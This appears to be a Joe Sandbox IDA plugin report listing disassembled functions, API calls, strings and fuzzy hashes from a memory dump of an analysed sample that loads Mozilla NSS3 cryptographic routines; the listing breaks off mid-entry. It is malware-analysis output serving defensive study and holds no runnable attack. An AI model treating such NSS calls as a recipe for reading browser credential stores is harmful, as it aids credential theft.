Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 48edb03968a0808b176fda7d3a9b7548dd2587c26fc2d65b5710acef9a5f2d47
Instruction ID: 3b2c72fb693ac09f23338929eabdf8d8bb1b9c80b890549c1102de13f18e428e
Opcode Fuzzy Hash: 48edb03968a0808b176fda7d3a9b7548dd2587c26fc2d65b5710acef9a5f2d47
Instruction Fuzzy Hash: 8331E9F1E007019BEB219F35AC41A6777F8EF1164CB084838E94A97B51F731E558CBA2

Function 6CA05CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CA05EC0,00000000,?,?), ref: 6CA05CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CA05CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CA05CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CA05D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CA05EC0,00000000,?,?), ref: 6CA05D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CA05D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA05D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA05D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CA05D80

Strings

multiaccess:, xrefs: 6CA05CB8
NSS_DEFAULT_DB_TYPE, xrefs: 6CA05D1A
sql:, xrefs: 6CA05CD1, 6CA05D36
dbm:, xrefs: 6CA05D03, 6CA05D60
extern:, xrefs: 6CA05CEA, 6CA05D4B

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: adf9f05b9d2c5274bdcfc6a4dd0c88b761c329e2af629cff46bd286e2f0169a9
Instruction ID: fbf362fb7503f6a67e3235588d5d50fdac3b9583cf9a7adf1ad3f56cfe14d7fb
Opcode Fuzzy Hash: adf9f05b9d2c5274bdcfc6a4dd0c88b761c329e2af629cff46bd286e2f0169a9
Instruction Fuzzy Hash: AE3108B4B413526FF7109A25FC4CB663768BF0638CF180032ED65E6A82F771D581C2A9

Function 6CA06CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CAD1DE0,?), ref: 6CA06CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA06D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CA06D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CA06D82
DER_GetInteger_Util.NSS3(?), ref: 6CA06DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA06DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CA06E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CA06F19
PK11_DigestBegin.NSS3(00000000), ref: 6CA06F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CA06F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CA07011
PK11_FreeSymKey.NSS3(00000000), ref: 6CA07033
free.MOZGLUE(?), ref: 6CA0703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CA07060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CA07087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CA070AF

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 0ecafe176a606c4eb390a61439eaf64198a224e4ce9c88e134f1bb37d3a3464f
Instruction ID: 77b935801e3e8de63b8dda2277fd931735ac478766806fe4615a46c19cab0f85
Opcode Fuzzy Hash: 0ecafe176a606c4eb390a61439eaf64198a224e4ce9c88e134f1bb37d3a3464f
Instruction Fuzzy Hash: 9EA1D4B1B043019BEB009F24EC45B5A33A59B9139CF288939ED59CBB81E775D8C9C793

Function 6C9A98E0 Relevance: 24.3, APIs: 16, Instructions: 280stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C06A0: TlsGetValue.KERNEL32 ref: 6C9C06C2
Part of subcall function 6C9C06A0: EnterCriticalSection.KERNEL32(?), ref: 6C9C06D6
Part of subcall function 6C9C06A0: PR_Unlock.NSS3 ref: 6C9C06EB

PR_SetError.NSS3(FFFFE018,00000000,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9A9BA9

Part of subcall function 6C9C1750: PR_EnterMonitor.NSS3(?,?,00000000,00000000,?,6C9A991E,00000000,00000000,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9C1769
Part of subcall function 6C9C1750: PR_ExitMonitor.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9C180C

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9A9930
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9A995D
memcpy.VCRUNTIME140(00000000,?,00000001,?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9A997E
TlsGetValue.KERNEL32(?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9A99AD
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9A99C4
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9A99E2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A2D6B), ref: 6C9A9A1F
PK11_GetInternalKeySlot.NSS3(?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9A9A27
TlsGetValue.KERNEL32 ref: 6C9A9AE1
EnterCriticalSection.KERNEL32(00000000), ref: 6C9A9AF5
PR_Unlock.NSS3 ref: 6C9A9B11
TlsGetValue.KERNEL32 ref: 6C9A9B3B
EnterCriticalSection.KERNEL32(00000000), ref: 6C9A9B4F
PR_Unlock.NSS3 ref: 6C9A9B72
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C9A9BC7

Part of subcall function 6C9B89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C9B88AE,-00000008), ref: 6C9B8A04
Part of subcall function 6C9B89E0: EnterCriticalSection.KERNEL32(?), ref: 6C9B8A15
Part of subcall function 6C9B89E0: memset.VCRUNTIME140(6C9B88AE,00000000,00000132), ref: 6C9B8A27
Part of subcall function 6C9B89E0: PR_Unlock.NSS3(?), ref: 6C9B8A35

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Enter$CriticalSectionUnlockValue$ErrorMonitor$ExitInternalItem_K11_SlotUtilZfreememcpymemsetstrcmpstrlen
String ID:
API String ID: 568628329-0
Opcode ID: 85d01bf18943685b4fab99e3e6a4a0c74826bc05001370e33e3f712c527821ba
Instruction ID: 15267f3fe439a6d80dc36f1c281d765cf661724ff592c8db7cc96400ab1999ba
Opcode Fuzzy Hash: 85d01bf18943685b4fab99e3e6a4a0c74826bc05001370e33e3f712c527821ba
Instruction Fuzzy Hash: 5891D4B5E002056BEB009FA5DC41BAB77B8BF6530CF054125EC19A7B11EB32D95AC7D2

Function 6C9CAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C9AAB95,00000000,?,00000000,00000000,00000000), ref: 6C9CAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C9AAB95,00000000,?,00000000,00000000,00000000), ref: 6C9CAF39
PR_Unlock.NSS3(?,?,?,6C9AAB95,00000000,?,00000000,00000000,00000000), ref: 6C9CAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C9AAB95,00000000,?,00000000,00000000,00000000), ref: 6C9CAF69
TlsGetValue.KERNEL32 ref: 6C9CB06B
EnterCriticalSection.KERNEL32(?), ref: 6C9CB083
PR_Unlock.NSS3(?), ref: 6C9CB0A4
TlsGetValue.KERNEL32 ref: 6C9CB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C9CB0D9
PR_Unlock.NSS3 ref: 6C9CB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9CB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9CB182

Part of subcall function 6C9FFAB0: free.MOZGLUE(?,-00000001,?,?,6C99F673,00000000,00000000), ref: 6C9FFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C9CB177

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C9AAB95,00000000,?,00000000,00000000,00000000), ref: 6C9CB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C9AAB95,00000000,?,00000000,00000000,00000000), ref: 6C9CB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C9AAB95,00000000,?,00000000,00000000,00000000), ref: 6C9CB1C2

Part of subcall function 6C9F1560: TlsGetValue.KERNEL32(00000000,?,6C9C0844,?), ref: 6C9F157A
Part of subcall function 6C9F1560: EnterCriticalSection.KERNEL32(?,?,?,6C9C0844,?), ref: 6C9F158F
Part of subcall function 6C9F1560: PR_Unlock.NSS3(?,?,?,?,6C9C0844,?), ref: 6C9F15B2

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 3bcab1a4733d9940492cd96945a249ebe2d06104cc3f726f6bc5efcbb9902e04
Instruction ID: 77c8775f51f7f7c670bc1fcda5cdfddd6e12c754de298540badfc262316c6abc
Opcode Fuzzy Hash: 3bcab1a4733d9940492cd96945a249ebe2d06104cc3f726f6bc5efcbb9902e04
Instruction Fuzzy Hash: 66A194B5E00205AFEF009F64DC41BEA77B8FF25308F144129E919A7751EB31DA59CBA2

Function 6C9D1800 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 169memoryCOMMON

Download Yara Rule

APIs

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C9D1860
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C9D09BF), ref: 6C9D1897
memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9D18AA
memcpy.VCRUNTIME140(?,?,?), ref: 6C9D18C4
PK11_ImportDataKey.NSS3(00000000,0000402B,00000004,0000010C,?,00000000), ref: 6C9D193F
PK11_DeriveWithTemplate.NSS3 ref: 6C9D1979
PK11_ExtractKeyValue.NSS3(00000000), ref: 6C9D1988
PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C9D09BF,psk_id_hash,0000000B), ref: 6C9D199F
PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C9D09BF,psk_id_hash), ref: 6C9D19A8

Part of subcall function 6C9EADC0: TlsGetValue.KERNEL32(?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE10
Part of subcall function 6C9EADC0: EnterCriticalSection.KERNEL32(?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE24
Part of subcall function 6C9EADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C9CD079,00000000,00000001), ref: 6C9EAE5A
Part of subcall function 6C9EADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE6F
Part of subcall function 6C9EADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE7F
Part of subcall function 6C9EADC0: TlsGetValue.KERNEL32(?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEB1
Part of subcall function 6C9EADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEC9

SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001), ref: 6C9D19B6

Part of subcall function 6C9FFAB0: free.MOZGLUE(?,-00000001,?,?,6C99F673,00000000,00000000), ref: 6C9FFAC7

SECITEM_DupItem_Util.NSS3(-00000018), ref: 6C9D19F2

Strings

E-v1, xrefs: 6C9D1880
+@, xrefs: 6C9D1971

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: K11_$Item_UtilValuememcpy$CriticalEnterFreeSectionfree$AllocDataDeriveExtractImportTemplateUnlockWithZfreememset
String ID: +@$E-v1
API String ID: 3144289787-3744174662
Opcode ID: 053db27f7bba3fbb9711ba0b8e7154a0e4169a88bac2313ad981492fb404509d
Instruction ID: 6901d977f1d0644b659e0482b7d4dcbedceecbc3c92070a10bddaa4fa08ea00e
Opcode Fuzzy Hash: 053db27f7bba3fbb9711ba0b8e7154a0e4169a88bac2313ad981492fb404509d
Instruction Fuzzy Hash: 1351B5B69047019BD700CF25D84066BBBF8EFA9318F05852CED98A7751F730E588CB92

Function 6CA1AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA1ADB1

Part of subcall function 6C9FBE30: SECOID_FindOID_Util.NSS3(6C9B311B,00000000,?,6C9B311B,?), ref: 6C9FBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CA1ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA1AE08

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA1AE25
PL_FreeArenaPool.NSS3 ref: 6CA1AE63
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6CA1AE4D

Part of subcall function 6C924C70: TlsGetValue.KERNEL32(?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924C97
Part of subcall function 6C924C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CB0
Part of subcall function 6C924C70: PR_Unlock.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA1AE93
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6CA1AECC
PL_FreeArenaPool.NSS3 ref: 6CA1AEDE
PL_FinishArenaPool.NSS3 ref: 6CA1AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA1AEF5
PL_FinishArenaPool.NSS3 ref: 6CA1AF16

Strings

security, xrefs: 6CA1ADEE

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: f564c55c5de56489bd308f18a4b5cdddabc28c3a5c6bf738be76cda6fe2905db
Instruction ID: b382d753d21630dc1b7065058511ae1b21359a6c3b4edb94c60d3983821a5e65
Opcode Fuzzy Hash: f564c55c5de56489bd308f18a4b5cdddabc28c3a5c6bf738be76cda6fe2905db
Instruction Fuzzy Hash: 2B414DB690822067E7114B24AD45BAB32BAAF5131CF180525E81493F85FB35DDDCC7E3

Function 6CA0E8C0 Relevance: 22.9, APIs: 15, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6CA0E853,?,FFFFFFFF,?,?,6CA0B0CC,?,6CA0B4A0,?,00000000), ref: 6CA0E8D9

Part of subcall function 6CA00D30: calloc.MOZGLUE ref: 6CA00D50
Part of subcall function 6CA00D30: TlsGetValue.KERNEL32 ref: 6CA00D6D

Part of subcall function 6CA0C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CA0DAE2,?), ref: 6CA0C6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6CA0E972
PORT_ArenaMark_Util.NSS3(?), ref: 6CA0E9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA0EA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CA0EA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CA0EA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CA0EA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6CA0EA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CA0EACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6CA0EB56
PK11_FreeSymKey.NSS3(00000000), ref: 6CA0EBC2
SECOID_FindOID_Util.NSS3(?), ref: 6CA0EBEC
free.MOZGLUE(00000000), ref: 6CA0EC58

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID:
API String ID: 759478663-0
Opcode ID: c3d47d286f20e5d4b25b584bd5f8c9fbad16bb46174e4b7776671e8e3a5a8215
Instruction ID: c9362bc64e5d5057d8ea35dc98c0d4a8fa1fe591a0a894583effb873f3357515
Opcode Fuzzy Hash: c3d47d286f20e5d4b25b584bd5f8c9fbad16bb46174e4b7776671e8e3a5a8215
Instruction Fuzzy Hash: 35C1A6B1F002059BEB00CF65E981BAA77B4BF1938CF180069E956A7B51E731E884DBD1

Function 6C9E29A0 Relevance: 22.8, APIs: 15, Instructions: 292COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,6C9B6A5E,00000001,00000000,?,6C9B6540,?,0000000D,00000000), ref: 6C9E2A39
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C9B6A5E,00000001,00000000,?,6C9B6540,?,0000000D,00000000), ref: 6C9E2A5B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6C9B6A5E,00000001,00000000,?,6C9B6540,?,0000000D), ref: 6C9E2A6F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9B6A5E,00000001), ref: 6C9E2AAD
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9B6A5E,00000001,00000000), ref: 6C9E2ACB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9B6A5E,00000001), ref: 6C9E2ADF
PR_Unlock.NSS3(?), ref: 6C9E2B38
PR_Unlock.NSS3(?), ref: 6C9E2B8B

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,6C9B6A5E,00000001,00000000,?,6C9B6540,?,0000000D,00000000,?), ref: 6C9E2CA2

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSectioncalloc$ErrorImportK11_Public
String ID:
API String ID: 2580468248-0
Opcode ID: de673345efd167aade00f77b8343af5ba69b62a86956c7f644700d9db4691bc2
Instruction ID: b484fed8aeaec3148c78f78f187c90f53b4f10ec286510b36c1527a8ca38b487
Opcode Fuzzy Hash: de673345efd167aade00f77b8343af5ba69b62a86956c7f644700d9db4691bc2
Instruction Fuzzy Hash: 00B1F274E00A069FDB12DF68DC88B9AB7B8FF2D308F148529D805A7B51E731E845CB91

Function 6CABAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA69890: TlsGetValue.KERNEL32(?,?,?,6CA697EB), ref: 6CA6989E

EnterCriticalSection.KERNEL32(?), ref: 6CABAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CABAFCE
PR_SetPollableEvent.NSS3(?), ref: 6CABAFD9
EnterCriticalSection.KERNEL32(?), ref: 6CABAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CABB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CABB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CABB070
PR_JoinThread.NSS3(?), ref: 6CABB07B
free.MOZGLUE(?), ref: 6CABB084
EnterCriticalSection.KERNEL32(?), ref: 6CABB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CABB0C4
PR_JoinThread.NSS3(?), ref: 6CABB0F3
free.MOZGLUE(?), ref: 6CABB0FC
PR_JoinThread.NSS3(?), ref: 6CABB137
free.MOZGLUE(?), ref: 6CABB140

Memory Dump Source

